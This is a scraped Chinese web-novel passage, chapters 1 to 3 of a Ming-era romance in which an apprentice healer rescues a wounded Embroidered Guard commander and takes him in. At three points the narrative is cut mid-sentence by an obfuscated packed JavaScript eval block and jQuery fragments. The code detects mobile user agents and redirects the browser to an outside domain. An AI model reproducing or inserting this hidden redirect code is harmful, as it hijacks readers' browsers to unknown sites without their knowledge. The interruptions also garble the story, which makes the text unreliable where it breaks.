《救了一个锦衣卫》
1. 雨夜
大明崇德十二年,夏六月,雨将回春堂后面的药田浇得湿漉漉的,一眼望过去是分不清的浅绿、葱青、空翠,笼在濛濛烟雨中。
堂内的竹雕花屏风后面的陶壶上飘着两缕白烟,少女盘腿坐在软垫上目不转睛地看着陶壶中的药材。
党参、焦术、升麻、菖蒲......约莫五百文。
前几日上山去采留在家里的甘草还有一些可以拿出来卖,能换个几文钱。
半个时辰应当还没到,刚刚数到几来着?好像还要再过一会,壶里面的药材看起来还没煮透。
“再放两碗水进去。”
她还在老老实实地等着,突然听见头上传来熟悉的声音,一骨碌就从软垫上站了起来,拿了先前预备好的水加到了陶壶里。
“师傅您怎么来了?不是说今日您不坐馆么?”
章见青先是冷哼一声,瞥了一眼她放回椅子上的软垫,随后坐下开口便是:“若是我不来,换了新药你这蠢丫头到时候煎坏了,白白浪费银子不说,到时候你娘的病说不准更坏,不得把你这丫头哭死。”
陈湘行讪讪的:“这不是您说的,先放半碗水煎半个时辰,再放两碗水。”
她明明就是按照叮嘱做的,而且为了保证药效那可是一直在心里默默算着时辰的,绝对一点都不差。
结果劈头盖脸还是一顿骂。
“我才没工夫管你这点小事。”章见青提起笔就写了一连串药材的名字,随后把药方往陈湘行手里一塞,“你按照这个药方把药抓了煎好,然后跑一趟太平村,就村头那边有个一直坐在田埂上晒太阳的老人叫徐阿福,你把煎好的药给他,完事之后这次你娘的药钱我就做主给你免了。”
“好嘞!”
太平村原先是前朝和新朝发生战乱的时候避祸的地方,后面就是一座险山,山上的路绕得乱七八糟的,如果不是当地人恐怕都找不到能爬上顶的路。
山脚底下是义庄,太平村在义庄前面,衙门的官差谁都不乐意去那地方,干脆就从太平村里寻了一个聋哑老人来帮他们搬运尸体,而这位聋哑老人正是章见青口中说的徐阿福。
陈湘行照着药方抓药煎药,两壶药煎得差不多了就一齐放进了自己的小背篓里。
等她从回春堂出去的时候外面的雨恰好停了。
她家的田庄在榴山村里,沿着回春堂一路向东,过了桥沿着右边的小道走差不多四五家就到了。
到了田庄门口她就把背篓挂了起来,一个陶壶留在背篓里,另一个则由她小心翼翼端进了屋子里。
屋子里的布帘被拉得紧紧,沉闷的黑暗中唯有佛前摆放的香烛燃着淡淡的火光,陈湘行只能借这点微弱的光源将手里的陶罐放到桌上。
“娘?”
轻微的声音似乎怕惊扰了什么。
忽然床上的人动了,罗氏近乎是飞扑一般冲到陈湘行的怀中,她的瞳孔中是难以言表的惊恐,长长的指甲死死地抓着陈湘行的脊背。
“啪”的一声是指甲断裂的声音。
陈湘行想让她松开手,但罗氏的力气在此刻简直大得惊人,任凭她怎么扣怎么掰都不罢休。
“娘!您看看我!我是谁?”
陈湘行强行使出吃奶的劲好不容易让罗氏放开手,她手上的十根长甲断了六根,指甲盖都要翻出来了,却仍旧是一副懵懂的模样,和没事人似的。
“你是......芃芃?”
细语呢喃,几不可闻。
陈湘行却立马松了一大口气扶着罗氏坐下,趁她呆愣连忙麻利地从木柜里拿出常用的药勺和小碗,将陶罐里的药汤倒进去后试了一下温度,确保能入口后小声哄着罗氏服药。
一勺两勺......小碗见底。
罗氏嘴里还在嘟囔“我没病”、“药好苦”、“不想吃药”之类的话语,陈湘行却已经收拾好了桌上的东西,从屋子里找了备好的绢布替她包住手指。
随后她摸了摸罗氏的脑门,发觉有点微微的汗。
往日里最难熬的就是六七月了,冰的价格要比碳贵得多,就连回春堂里面因为温着药材的缘故也只用着一点点冰。
陈湘行手里压根没多少钱,每个月陈府是会派人来送点钱,可那点钱最多只能维持她们的生计,稍微贵一点的东西连看都不用看,但是娘的病症却难免少不了花钱。
钱该从哪里来呢?
她将罗氏扶回床上后安静地坐在一边给她打了一会扇子,等她沉沉睡去后才起身朝着门口走去。
一会儿没见,门口挂起来的背篓里就被插上了几朵杜鹃,花瓣上还滴着露水。
背篓后面探出张春桃般的脸,额间红痣在鬓边金箔花的映衬下犹似朱砂轻点。
少女擦着胭脂的嘴巴一开一合:“芃芃,我爹让我给你家送点腊肠来,你家许久没开过荤了吧?他说媛姨身子骨不好,一点荤腥都不沾也不行。”
眼前穿着鹅黄短衫、丁香长裙的姑娘叫徐南歌,父亲徐之敬在私塾教书,母亲孟氏是个手艺出众的绣娘,下面有个小五岁的弟弟徐文载,家中算不上富裕,但也比下有余。
徐夫子和孟夫人是对善心人,性格温和,从陈湘行记事开始两家人就经常在一起。
一开始的时候娘的癔症还没有现在这么严重,午后经常和孟夫人两个人聊聊诗词做做绣活,后来因为生病的缘故孟夫人就来的少了,但是逢年过节的都不会忘记让徐南歌带点东西过来。
他们的好陈湘行一直都记得。
她也没扭捏,从徐南歌手中接过腊肠就挂到墙上:“这是徐夫子新收的束脩吧?”
徐南歌摊手:“是啊,那孩子家里穷得很,念书的银钱也掏不出来,他娘拉着他跪在地上求我爹收下他。我爹那人什么脾气你又不是不知道,考校了他几句觉得是个‘可造之材’,什么都没要就收下了,还是那孩子的娘过意不去,执意送了许多灌好的腊肠过来。”
就这些腊肠她爹本来都是都不肯要的。
“徐夫子是好人,好人会有好报的。”
“好人当的家里都快饿死了。”徐南歌嘟囔一声,看到她背起背篓准备出门连忙问道:“我看这天都快暗下来了,你这是去哪?回春堂这个时辰都关了吧?”
陈湘行朝着西面努努嘴:“师傅让我去太平村送药,送完就免了我娘的药钱。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668084|173016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“章大夫也真是的,回春堂都是他开的,你又是他的徒弟,平日里帮他做那么多活,他还要收你娘的看病钱。”徐南歌将自己手里的伞塞到陈湘行手里,“文载说看今日的天恐怕要下雨,你把这个带着,万一下雨了淋一身水回来第二日准得生病,到时候我可不来照顾你。”
徐文载今年十三岁,除了考取功名该看的四书五经外杂书也看过不少,在预测天象方面尤其有一手。
她刚准备出门的时候徐文载就一直念叨什么“燕低飞主雨,傍晚恐有大雨”,徐南歌看着外面晴空万里的天看了半晌,最后再看看弟弟,认命地拿了伞出门。
虽然这都一个多时辰过去了也没看到雨点子,但徐南歌还是把伞塞到了陈湘行手里。
结果她前脚刚走,天就阴了下来。
乌云沉沉地压住田埂,没一会就下起了瓢泼大雨,雨珠子噼里啪啦地打在泥地里,没一会地就湿了。
太平村外面是一处约莫五里的竹林,往日这里陈湘行也来过,可却从没有一日像今日这么安静,鸟雀似乎都哑了声,只留下雨拍打在竹叶上的声响。
太安静了。
安静得都有些诡异。
陈湘行闻到了一股若隐若现的血腥气。
长年在回春堂待着,大大小小的伤口见过得数不胜数,对于人血的味道她自然也不陌生。
更不要说林中这大片大片的血腥气,就算雨水混着泥土都压不下去。
她第一次萌生了区区五百文不要就不要的念头。
俗话说得好,好死不如赖活着。
谁知道里面有什么东西,万一正好撞到什么不该看到的,小命丢了那才得不偿失。
既然这么想了,陈湘行就准备转身从林中出去,结果刚走了没两步路,那股血腥气猛地又重了起来。
那味道闻起来就像一把锈掉了刀,混着泥水的潮气和尸体的腐浊不断地钻进陈湘行的鼻腔里。
而这股味道的来源,似乎正在她的脚下。
蓦地,她的脚腕被一只手狠狠地握住,仿佛要捏碎一般。
脚被绊住后她的重心瞬间往后倒,背篓里还装着一个沉甸甸的陶罐,一下子砸得抓住她脚腕的人眼冒金星,手上顿时失去了力气。
那是一张极其漂亮的脸。
就算他闭着眼睛,光看其他五官也能称得上一句姿容如玉,更不要说微颤的鸦睫还为这张惊为天人的脸上平白无故添上了点脆弱,右耳边还带着一串红珠耳坠,配上他如今苍白的面容一眼看上去像个艳鬼。
恐怕便是再铁石心肠的人看到这张脸,都不会忍心见死不救。
但陈湘行会。
此人来历不明,况且林间血腥味重得一闻就知道定然是经历过一场缠斗的。
若来者不善,到时候救了他反倒会惹祸上身。
想到这里她就将陶罐重新放回背篓里,正准备起身却双眸一凝,少年被雨水打湿的腰间革带右侧挂着一块玉质的腰牌,腰牌上刻着三行字:
“锦衣卫指挥使”
“薛珩”
“崇德十一年制”
陈湘行顿住了脚步。
2. 恩仇
她持伞重新蹲下,指腹轻触上青年温热的颈侧后可以明显感受到血管轻微的跳动。
虽然呼吸声越来越轻,但至少人还活着,遇到她也算是福大命大。
只是陈湘行看他身上被血浸得快看不清原有颜色的衣裳,估计这伤口再被水泡上一会,大罗神仙来了都难救。
锦衣卫指挥使……居然这么年轻?看模样只有十八九岁。
瞥向他腰间的锦衣卫令牌,陈湘行犹豫了下,随后眼疾手快把令牌一扯就揣回了自己怀里,心里一边默念祈祷他千万别在这个时候醒,一边将目光缓缓转移到眼前人有些血污的胸口处,像剥笋一样解开了他的衣裳。
不管怎么说她也是个黄花大闺女,哪怕平日里见过受伤的人不在少数,但乍一看到这样一个俊俏少年裸露在外的胸膛,陈湘行难免还是脸一红。
罪过罪过,阿弥陀佛,色即是空,空即是色……
少年裸露出来的胸膛上是一道说深不深、说浅不浅的刀口,这刀口还与平常刀剑划出来的不大一样,刃纹是如同柳叶脉络的锯齿状。
她敢断言,纹刻出这样一柄刀具的人必定也没什么好心思。
这种样子的伤口较起普通伤口来说虽不算得上容易危及性命,但是极难愈合。
尤其是在这样一个大雨天的情况下,水会延缓伤口痊愈的速度,若是无人发现这位名叫薛珩的锦衣卫指挥使倒在这里,恐怕再拖上一会他就要血尽而亡了。
钝刀子杀人,实则更痛。
陈湘行叹了口气,将常年备在身上以防不时之需的金疮散取出、敷在伤口上后,又撕了身上半边还算干净的袖子下来作包扎的布,绕着少年的胸背绑得紧紧的,确保不会再出血后心里默默打起了算盘。
身上穿的这件衣裳少了半边袖子铁定是穿不出门了,到时候还要去市集上买几匹新布回来做夏衣。
市集上一匹葛布约莫要一千五百文,陈府那边今岁夏日的银钱还没有送过来,她暂时还没那么多钱买衣裳,这段日子只能先穿春日的单袍。
还好回春堂里有冰,她又比较耐热,不然日子就难过了。
钱啊钱啊,真是一文钱难倒英雄汉!
雨滴敲在竹节上,清越如磬。
竹叶承了水意显得愈发青翠,偶有滴落便是一连串的水珠溅开在她们周围,洇开一抹深色。
师傅一早让她送去太平村的药还没送到,若是再晚点药估计就凉了,到时候被知道了又是一顿骂不说,药效差了了容易出事情。
生死有命,富贵在天,陈湘行看了一眼尚在昏迷中的少年低声念叨了一句:“好歹算是救了你一命,仁至义尽了哈。”
随后她麻利地站起身,将伞留在原地后从背篓里翻出一个斗笠戴在头上,临行前瞥了一眼少年苍白的面容。
陈湘行顺着竹林一路向前,走了约莫差不多两里地,顿觉天光大亮。
雨后的黄昏将湿漉漉的山林染成一片红,太平村内的景象荒凉开阔,几株孤零零的松柏簇拥着蜿蜒的小道,基本上看不到什么过路的行人,就连村子里面也只有零星的几个老人磨磨蹭蹭地搬着柴火,一瘸一拐地朝着自家的矮屋走去。
自太祖建朝以来至今早已不再是从前的乱世,曾经在这里躲避战乱的人已经逐渐步入晚年,而他们的子孙后代基本上都不愿意再守着后面的几个坟冢度日,早就离乡了。
所以一眼看过去太平村内少有青壮年,妇孺倒是不少。
至于师傅所说的,在村头田埂上晒太阳的聋哑老人徐阿福嘛——
陈湘行眨眨眼,第一次怀疑要么是自己的眼睛出了问题,要么就是之前听师傅嘱咐的时候耳朵出了问题。
田埂上确实有个半躺在藤椅上的人,但绝对算不上什么老人,只能说头发有些发灰,里面夹杂着些许银丝,身形却不佝偻。
他穿着枣褐色的单袍,头发半束着应当是未及冠少年的打扮,单看脸是个明晃晃的中年人,只是自左眉到右半边脸的下巴横贯一条长长的蜈蚣疤痕,叫人压根看不清他到底长什么样,看着还有些可怖。
他的膝头上还坐着一个两岁大点的奶娃娃,乖乖地玩着手里有些破旧的拨浪鼓,见陈湘行走近还有些瑟缩地往徐阿福怀中躲了躲,看起来有些怕生。
聋哑的人,该怎么告知他用药的忌口呢?
陈湘行一时间有些犯难,最后还是把陶罐放到藤椅边上,犹豫了半晌后她尝试着伸手在徐阿福面前挥了挥,见他抬头望向自己后拎起药罐,用着有些别扭的手脚给他演示了一番药汤该怎么喂给孩子喝,另外又有哪些东西是需要忌口的。
见她比划了一番手脚也比不出个所以然后,徐阿福从身畔捡起一根枯枝,在带着泥沙的土地上歪歪扭扭地写道:“我认得字,有什么要说的写下来。”
......那她刚刚绞尽脑汁到底是为了什么?
陈湘行被自己蠢到了,颇觉好笑地接过徐阿福笑着给她递来的枝丫在地上写写画画:“药里有桑寄生,吃完药后不能给娃娃喂寒凉的东西吃,否则会冲了药性。”
她的字还是刚启蒙的时候和徐夫子学的,横平竖直还算秀气,能做到让人看得明白。
结果陈湘行一抬头就看见两颗毛茸茸的头一齐低着看她,被发现后徐阿福有些不好意思地直起身,随后从腰间解下两串铜钱塞到她的背篓里,拿起一旁的树枝写道:“我行动不便,日后要麻烦小友多跑两趟太平村,这是今日的脚钱。”
一串铜钱一千文,两串就是两千文,够她们用上许久了。
想到这里陈湘行自然也没有什么不愿意的,她虽不是那种视财如命的人,但总也不会嫌钱多。
将铜钱串子收好后,她还有闲心在地上继续写道:“若是嫌药苦,下次我来的时候给您和娃娃带些糖糍来也行,那是我自己做的,虽说和市集上卖的不大一样,但也是甜口好吃的。”
徐阿福不知道想到了什么,原本脸上挂着的笑容顿时淡了三分,但他看看陈湘行,又扯出一抹笑写道:“好。”
天色渐晚,陈湘行也就没在太平村里多磨蹭,背上篓就往回走,走着走着思绪就不由自主地散开了。
出来也有一会了,不知道刚刚被她安置在原地的薛指挥使怎么样了。
她依着先前的记忆找到徐南歌借她的伞,结果伞下却早已空无一人,只留下斑斑点点没有被雨水冲刷干净的血迹。
应当是他醒了之后就走了吧。
陈湘行下意识地摸摸怀中藏着的令牌,心头不免闪过一丝愧疚。
雨已经停了很久了。
陈湘行蹲下身收起伞,正欲起身离开,身侧突然闪过一抹银白色的亮光,顷刻间脖颈上就多了一抹冰凉。
剑身压在跳动的血管上激起一片战栗,令她呼吸一滞。
“这把伞......是你的?”
陈湘行手握着伞柄,脊背不由自主绷得直直的,像一张拉紧的弓。
她的声音有些干涩:“雨太大了,你的伤口一直在流血,不用伞遮住的话血凝不起来,容易血脱。”
脖颈侧的刃锋轻轻剐蹭着她的肌肤,让人不禁寒毛倒竖。
“这么荒凉的地方遇到我这样一个浑身带血的陌生人,你竟也愿意施以援手?就不怕我是什么穷凶极恶之徒,到时候恩将仇报,连你一起杀了吗?”
他的声音原本还带着点几不可察的笑意,但越说到后面就越显出一股子戾气,吓得陈湘行原地打了个哆嗦。
这一哆嗦,原本还只是贴着她脖子的刀刃一下子就在她的肩颈处划出一道浅浅的口子,血微微渗出。
陈湘行吃痛一声,手里的伞瞬间松开了。
“蠢东西!”
那少年猛地收回压在她脖颈处的剑:“这可是你自己撞上我的剑的,到时候出什么三长两短可怪不到我头上来!”
这世道还有没有天理了?难道不是因为这人不分青红皂白,直接把刀架到自己的脖子上吓她一跳,所以她才会不小心撞到刀口上吗?
哪有人这么对自己的救命恩人的?
陈湘行火气一下子就上来了,尤其是她脖颈间的剑被移开,最后的威胁也没了:“你身上的伤口是我止的血!药是我敷的!就连遮雨的伞都是我留下来的!面对救命恩人喊打喊杀,你还有没有良心了!”
她猛地转过头。
夕阳的光落在她瞪得圆溜溜的猫眼里映出琥珀色的光,玉瓷般的脸上因怒气泛着一层薄粉。
不知何处扬起一阵风,吹动她裙边挂着的铃铛,发出清脆的碰撞声。
少年慢慢地将手中的剑收回了剑鞘。
“救命恩人?”那张苍白俊秀的脸上不免带了点嘲弄的意味,“那像你这么心善的人我还真没见过。”
就你这样随便对着人就拔剑的样子,能遇到的善心人估计命都没了,还怎么见?去见西天大老爷吗?
陈湘行憋着翻白眼的冲动捡起刚刚掉在地上的伞,伞面因为直接朝下掉落的缘故染上了泥点,看上去有点脏兮兮的,这下回去还要洗一洗才能给南歌送过去。
想到这里她就忍不住给了始作俑者一个眼刀,结果目光刚移过去,恰好就看见少年面无表情地捂着胸口处的刀伤,手掌下分明是止不住的血水。
估计是因为他刚刚动作起伏太大的缘故,撕扯到了好不容易有点愈合迹象的伤口。
活该!
只是心里骂着活该,目睹看到这样的惨状陈湘行还是挪着自己的步子小心翼翼地朝他靠近了几步,见他冷着一张脸抬头,撇撇嘴把自己手里的金疮散丢了过去。
少年一抬手就稳稳接住了。
正常来说锦衣卫出任务都是会备好可能用到的药物的,但是他这一路上遇到的追杀实在是太多了,备好的药都用了个干净。
“你这么好心,怎么不救人救到底?”
少年抹了一把药粉在身上,挑眉看向陈湘行:“我身这上刀口你也看见了,能去官衙证明身份的令牌也不翼而飞,出门时还又忘记带银两,如今身无分文无处可去,你不如暂且收留我几日到伤愈,如何?”
陈湘行下意识地就想拒绝,但她转念一想,这人的令牌如今正在自己身上,原本斩钉截铁说出口的话语不免顿了一下。
但最后她还是开口道:“家里庙小……”
意思就是容不下您这座大佛。
“奇了怪,我也没说我身份是什么,你怎么就知道庙小呢?”
薛珩嗤笑一声,好整以暇地看着陈湘行:“莫非……你就是那个偷了我令牌的小贼?”
陈湘行卡壳了一下,在薛珩的长久凝视下飞速打量了他几眼,只能张口就来:“我又
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668085|173016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不瞎,你身上这件大红金纹曳撒用的是浮光锦的料子,日照之下光彩动摇,这都是朝贡才有的好料子,若你是寻常百姓出身,哪来这么好的布料穿在身上?”
还这么不心疼,弄得血糊拉碴的。
“至于令牌不令牌什么的,我本来就没见过。”
“你知道的倒是多,可是按照你这样的说法,若是寻常百姓,恐怕也不见得会认识这种料子才对。”
薛珩眼眸中闪过一丝狠戾,下一刻手掌如风掐上陈湘行的脖颈,只叫她在一瞬间完全喘不上来气,任凭她如何蹬踹都无动于衷。
“你究竟是谁?”
若真是个随便过路的好心人,怎么会知晓这么多?
鬼都不信。
“咳咳!咳咳咳!放开我!”
陈湘行憋红了脸:“《杜阳杂编》里本来就有关于浮光锦的记载!我只是看的书多!就算没吃过猪肉,难道还没见过猪跑吗?!”
薛珩的手缓缓松开,他静静看着陈湘行,也不知道有没有信她说的话。
陈湘行惊魂未定地看着眼前人,青年歪着头挑眉朝她笑笑,似乎刚刚差点把她掐死的人不是他一般。
他倚靠在树上,脸上露出一个懒洋洋的笑容:“看样子你杂书还看得不少,只是能有机会会看到这样偏僻的书,你也应该不是普通人家的姑娘才对。”
“被赶出家门的姨娘和庶女,庄子里恰好有从前主人家遗留的书本,这也不足为奇吧?”
陈湘行垂下眸,有些后怕地摸上自己的脖子,只觉得刚刚的痛意似乎还萦绕在脖间。
真是个疯子!早知道就不救他了!就应该直接抢了他的令牌走,到时候死了也没人发现!
陈湘行在心里骂了他不知道多少遍,仍旧难解心头之恨。
“也算是闺秀了,难怪。”
少年哼笑一声:“我姓薛,名珩,如今在锦衣卫里面任职,做一个小小的试百户罢了。”
瞧瞧这口气,试百户怎么说也算是正六品的官职,在他嘴巴里面就变成小小。
但是一想到这家伙本身担任的是正三品的指挥使一职,陈湘行还是咽下了嘴巴里的这口气,露出有些惶恐的神色:“原来是试百户大人,失敬失敬。”
嘴巴里说着失敬,可薛珩看她那忍不住后蹭想跑的脚就知道这妮子对自己实在没多少恭敬心,但是他如今是隐瞒身份下来查案的,也不好大张旗鼓地冲到官衙,只能先找个地方落脚。
这丫头也是恰好撞上来了。
不管她有没有什么别的小心思,至少现在看下来,总归还算不会害他,否则就刚刚他昏迷的那一会,估计早就没命了。
“行了,我也不会白吃白喝你们的。”薛珩摸索了一下腰间,从里面掏出来一块显然价值连城的玉佩丢到陈湘行掌中,“这东西抵押在你这了,等我手底下的人来了,到时候拿银子来和你换。”
什么叫要瞌睡就来枕头,陈湘行本来还在因为罗氏的药钱烦恼,如今掂了掂手里的玉佩忍不住心里泛起嘀咕,好歹也算是个有头有脸的大人物,到时候总不会趁机赖她帐的吧?
想在这里她原本的愤愤不平顿时烟消云散,眉眼含笑露出两个浅浅的酒窝:“嗨,薛大人哪里的话,咱们官民本就该守望相助,不过是借住几日,小事小事!”
看在有钱的份上,陈湘行决定大人有大量,暂且原谅他了。
虽说意识已经清醒了,但薛珩行动起来还是有些迟缓,陈湘行又不好大摇大摆把陌生男子带回家,只好绕了远路,等他们回到田庄后已经是晚上了。
黑灯瞎火的,一看就知道罗氏她们已经睡了。
薛珩亦步亦趋地跟在陈湘行身后,双眸一直没有离开她。
天中星子点点,偶尔还能听到几声犬吠,路边的行人已经很少了,等到家门口的时候陈湘行看见几朵有些干萎的杜鹃插在门框上。
她忍不住勾唇笑笑,将杜鹃收起来放到一旁的篮子里。
“情郎送的?”
陈湘行瞪大眼睛:“呸呸呸,瞎说什么呢!这是我小姐妹送来的!”
薛珩意味不明地笑了一声。
陈湘行和罗氏她们的住所都在南面,她就干脆领着薛珩朝靠近北面的屋子走,一边走一边不由自主地瞟向他腰间的刀。
锦衣卫的标配是飞鱼服和绣春刀,但是眼前这位指挥使倒是和她想象中的锦衣卫不大一样。
他腰间别着的是一把剑身约莫二指宽的长剑,剑柄是和剑鞘似都是银鎏金做的,上面的花纹陈湘行分辨不清,只看得出光彩夺目。
“怎么?我这剑这么好看吗?”
少年年带着笑意的声音乍然从陈湘行的耳边响起。
她先是被人捉到目光后有几分紧张,但见他也没什么不虞就松了一口气,真心实意道:“配大人您格外合适,好看的很。”
本朝男子多以飘逸清雅为美,尤其前朝文官的权力要比武官高得多,所以更崇尚魏晋时期的素净美,陈湘行甚少见到像薛珩这样穿得用得富贵逼人的。
薛珩听她这么说心情颇好地拿起药瓶,陈湘行见他一副要解衣裳上药的模样,嘴角抽搐了一下后连忙从他的屋子里退出去,朝着罗氏的住所走去。
没过多久,南面的屋子里传来瓷碗碎裂的声音,在宁静的夏夜显得格外刺耳。
3. 湘楚
陈湘行匆忙跑进屋的时候罗氏已经安静下来了,一旁穿着蓝布衫的妇人正蹲着身收拾地上碎开的瓷碗,见她进屋有些不好意思地站起身。
“姑姑,你起来歇会吧,我来收拾。”
陈湘行连忙拦下她,手脚麻利地将碎瓷拢到畚箕里,等全部收拾好后才松了一口气。
尤姑姑扶着半梦半醒的罗氏躺下,等她沉沉睡去后没忍住心头的酸涩,眼泪一下子全涌了出来:“姑娘这癔症眼见一日比一日严重,原先白日里魇着也就算了,夜里总是清醒的,如今到好,一整日都说不上两句话。”
陈湘行坐到床塌边,手缓缓抚上罗氏散落的发丝后忍不住在其中穿插,望着她那张这么多年来因为常年不见天日显得格外年轻的脸,张口道:
“陈老儿忒不是个东西,若是将娘留在金陵,依着陈府的名头寻来医术好的大夫治好娘的病也不是全无可能。”
“他那样汲汲营营的人当初能救下姑娘已经算是发了善心,后来乐成侯那边追查起来,他哪里还敢继续留姑娘在家。”
尤姑姑摇摇头,不知想起什么神情有些哀切:“总归人还活着……”
嘉平二十五年悼献太子于登州谋反,罗氏的兄长罗隐身为太子伴读卷入其中,乐成侯率领兴武卫奉先帝之命前往登州,后悼献太子兵败自尽,罗隐下落不明,罗家因此被牵连,最后落得一个满门抄斩的结局。
陈湘行的父亲陈振邦从前是罗老先生的学生,少年时对罗氏也有几分情愫,或许是还年轻的缘故,他大着胆子利用自己刑部主事的权利,用死囚将罗氏换了出来。
后来他还为罗氏重新编造户籍纳入府中,没过多久后罗氏就生下了陈湘行。
陈湘行出生那会恰逢先帝病重,乐成侯郭琮一手遮天,他铁了心要追查昔年悼献太子谋反案中未找到的活口,几乎在各地都派出了兴武卫追查。
陈振邦当时因为与乐成侯是连襟的缘故颇受重用,他害怕被人发现罗氏的存在,到时候自己的仕途不保,干脆就对外宣称陈湘行命格有碍,及笄前都要隐于乡野,把她们母女俩都打发到了登州。
这地方因为是先前悼献太子起兵的地方,被乐成侯手底下的人翻查了一遍又一遍,有道是最危险的地方就是最安全的地方,她们母女俩在这住了十多年,确实也未曾被人发觉过罗氏的真实身份。
尤姑姑是从前罗氏的贴身侍女,罗府虽被查抄,可却没有殃及这些签了活契的奴仆,她顾念从前罗氏对她有大恩,所以这么多年来一直陪着罗氏不离不弃。
不过她患有心疾,做不了重活,只能在家帮着陈湘行看顾罗氏,空闲的时候做做绣活或者煮煮饭菜。
白日她恰好有事出门,所以才留罗氏一人在家。
“再过几个月我就满十五了,陈府那边应当会派人来接我和娘一道回去。”
陈湘行抿着嘴小声道:“这个月周贵家的若是来,您趁机打听打听陈府里头的情况,咱们回去好知道怎么应付。”
周贵家的是陈老爷正头娘子卢氏的陪嫁,这几年都是她负责给田庄送银钱和布匹。
“行。”尤姑姑见她压着眉忍不住问道,“奴婢看您今夜回的比往日都要晚上许多,可是在外头遇到什么事了不曾?”
薛珩那个伤势虽然算不上多重,但是修养七八日总是要的,留一个大活人在家中总不能不告知尤姑姑一声。
陈湘行眨眨眼:“姑姑可不许怪我多事。”
见尤姑姑有些诧异,她老老实实把先前在竹林里怎么遇到薛珩,又为什么要救下他的前因后果全部说了出来,临到末尾还忍不住抱住尤姑姑的手埋怨道:“他好凶!”
双眸含嗔,眉宇间尽是委屈。
尤姑姑抬头去看她脖颈间,原先还有些印子的红痕早就消下去了。
陈湘行蹭了蹭尤姑姑摸上她脖间的手,借机撒娇道:“差一点儿我都回不来见您了!”
“姐儿这胆子倒是与姑娘不像,胆子大得很。”尤姑姑戳戳她的脑门,话音一转,“锦衣卫素来受皇上任命,他们平日里轻易也不出金陵,如今跑到东平县来,估摸着是这地方出事了。”
陈湘行点头:“姑姑说的在理,明日里还要去回春堂坐诊,到时候我打听打听。”
等她从罗氏的屋子里出来后,外面的天已经黑得伸手不见五指了。
陈湘行提着小灯回到自己屋里,原本挂笑的脸蛋一下子冷淡下来,她默默地换洗过衣裳,躺在床上却久久没有睡着。
薛珩身为锦衣卫指挥使却被人追杀到如此地步,其中涉及的必然是不可告人的秘辛。
留他在家尚且不知是好是坏,但是他这个身份倒是可以接触到昔年悼献太子一案留在登州的宗卷,若是想要查清楚昔年旧事,就定要借助他的势。
只是此人不可捉摸,做起事来也没什么规矩,要怎么对待他尚且还是一桩难事。
脑袋好痛。
陈湘行蒙住被子,扯开被子后猛吸了一大口气,最后在床榻上打了两个滚。
既来之则安之!
如今薛珩的到来说不定对她来说反而是好事一桩。
等到第二日一大早,她刚睡眼惺忪地从被窝里爬出来,就听见外面传来尤姑姑的声音。
“金陵的味道偏咸甜口,薛大人应当没吃过辣口的东西吧?”
陈湘行洗漱完后走到庭院中,石板上摆着两碗不太烂糊的稀饭,旁边摆着三个小碟子,里面放着酸豆角、剁辣椒和霉豆腐。
薛珩的碗里已经飘着一片红,他显然是常年没怎么吃过辣的人,尤姑姑端上来的剁辣椒对他来说还是太辣了,吃得他满头冒汗。
可偏他还仰着一张笑脸:“小时候吃过,只是姑姑这辣椒似乎比我记忆里的还香些,我看您旁边还摆了醋碟,这种吃法倒是偏湘楚那边,姑姑是楚地人?”
他一口一个姑姑叫得欢,尤姑姑的笑脸却渐渐淡了下来:“哪里人我也记不太清了,小时候跟着人牙子跑了多少地方,估计是在那边待过一段时间吧,地方是忘的差不多了,吃的习惯倒是留住了。”
尤姑姑收拾好自己的碗筷转身准备去洗,正好看见陈湘行倚在门口,若有所思地看着薛珩。
“伤口没好全应当忌辛辣才对,你这样吃辣椒是生怕伤口好的太快?”
薛珩闻言倒是挑眉笑了一下:“你难道未曾听过‘以毒攻毒’四个字?吃点辣椒活活血在薛某看来到也未尝不可,虽说痛了点,但是到时候好起来说不准也快些。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668086|173016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
胡搅蛮缠还不遵医嘱!
陈湘行扯扯嘴角:“薛大人你对‘以毒攻毒’四个字倒是学的颇为精通,如此一来何不再吞点砒霜?反正都是活血化瘀的药,指不定吃了有奇效。”
薛珩这张嘴向来只有刺别人的时候,倒是少有被人反刺回来的时候,他惊奇地看着陈湘行,一时间不知道该怎么回话。
陈湘行见他有些吃瘪,昨日被他威胁的那股气散了不少,心情颇好地还多吃了两口饭。
结果一抬头,她就看见薛珩静静地看着自己。
嘴里的稀饭都没那么香了。
“薛大人您看着我干嘛?”陈湘行扯扯嘴角,“我脸上长出花来了?”
